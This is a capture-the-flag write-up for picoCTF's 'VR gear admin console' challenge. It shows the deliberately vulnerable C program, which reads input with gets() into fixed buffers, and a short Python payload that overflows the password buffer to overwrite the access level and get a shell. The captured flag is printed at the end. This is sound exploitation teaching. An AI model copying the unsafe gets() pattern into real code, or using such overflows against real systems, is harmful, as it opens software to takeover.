# DescriptionHere's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/1444de144e0377e55e5c7fea042d7f01
# Hints* What happens if you read in more characters than the length of the username buffer?* You should look at an ascii table to see what character you need to choose.* Numbers are stored in little-endian format, which means that the lowest byte of the number is first.* "cat file - | vrgearconsole " will keep the pipe open for commands.
# WriteupFirst, let's ssh to the picoctf server and navigate to the `/problems/1444de144e0377e55e5c7fea042d7f01` directory.
We have 3 files here:* flag.txt - TXT files* vrgearconsole - ELF Executable* vrgearconsole.c - Source code
Nice! We have a source code file! Let's first execute the program, and then we will look at the source.
![image](https://i.imgur.com/YrCXxjy.png)
I see! You have to login, and then what? Let's look at source:
```C#include <stdlib.h>#include <stdio.h>
int login() {    int accessLevel = 0xff;    char username[16];    char password[32];    printf("Username (max 15 characters): ");    gets(username);    printf("Password (max 31 characters): ");    gets(password);
    if (!strcmp(username, "admin") && !strcmp(password, "{{ create_long_password() }}")) {        accessLevel = 2;    } else if (!strcmp(username, "root") && !strcmp(password, "{{ create_long_password() }}")) {        accessLevel = 0;    } else if (!strcmp(username, "artist") && !strcmp(password, "my-password-is-secret")) {        accessLevel = 0x80;    }
    return accessLevel;}
int main(int argc, char **argv) {    setbuf(stdout, NULL);    printf(        "+----------------------------------------+\n"        "|                                        |\n"        "|                                        |\n"        "|                                        |\n"        "|                                        |\n"        "|  Welcome to the VR gear admin console  |\n"        "|                                        |\n"        "|                                        |\n"        "|                                        |\n"        "|                                        |\n"        "+----------------------------------------+\n"        "|                                        |\n"        "|      Your account is not recognized    |\n"        "|                                        |\n"        "+----------------------------------------+\n"        "\n\n\n\n"        "Please login to continue...\n\n\n"    );    int access = login();
    printf("Your access level is: 0x%08x\n", access);
    if (access >= 0xff || access <= 0) {        printf("Login unsuccessful.\n");        exit(10);    } else if (access < 0x30) {        printf("Admin access granted!\n");        printf("The flag is in \"flag.txt\".\n");        system("/bin/sh");    } else {        printf("Login successful.\n");        printf("You do not have permission to access this resource.\n");        exit(1);    }}
```
Hmm... So after you login, you get an access level. Interesting. Obviously, we do not know the password of admin to get an access level below `0x30` (admin access level). I have already tried using a buffer overflow to overwrite the return address, and it worked, but then gave a SEGFAULT, so let's try overwriting the access level.
Open the program in gdb and set a break point right before leaving the `login()` function.
![image](https://i.imgur.com/85hwc6l.png)
Now, I will run the program using the username **admin** and password **AAAAAAAA**, so we can calculate a padding in the stack, between the start of the password and the access level (which should be `0x000000ff`, as we saw when we tried running the program and failing to login as admin).
Let's run the program and stop at the break point, right before leaving `login()`.
![image](https://i.imgur.com/M4ZaLva.png)
Here's how the stack looks like now:
![image](https://i.imgur.com/FnPgNVD.png)
As we can see, from the beginning of the password (which is **AAAAAAAA** or `0x41414141 0x41414141`), we need 48 bytes of padding, and right after we can inject a wanted access level like `0x00000001`, which would give us admin privileges.
First, let's create a file in the `/tmp` directory, containing the string **admin** (so we can pass it to stdin when we run the program). I will name my file admin.
![image](https://i.imgur.com/laOLcpH.png)
Now, let's create a script that will generate the string we need to inject into the password field, which is 48 padding bytes (we will use `A`) and right after that, the access level (we will use `0x00000001`). So here's the code that will do this:
```pythonimport struct;exploit = "A"*(12*4) + struct.pack("I", 0x00000001);print(exploit);```
Extremely simple! Running this program will give us the string we want to inject in the password field, so let's tunnel it to a file. We will use `/tmp/password`.
![image](https://i.imgur.com/rvItRcN.png)
Now, let's pass the **admin** and **password** file to the input of our program, and let's see if it correctly overwrites the access level. We will use cat:
```bashcat /tmp/admin /tmp/password - | ./vrgearconsole```
Note: We will use a `-` at the end of cat to keep input open for shell commands after we successfully exploit the program.
![image](https://i.imgur.com/NQOaLhJ.png)
It worked!
**FLAG**: `acdcf692a6209e618b97925c26084ea9`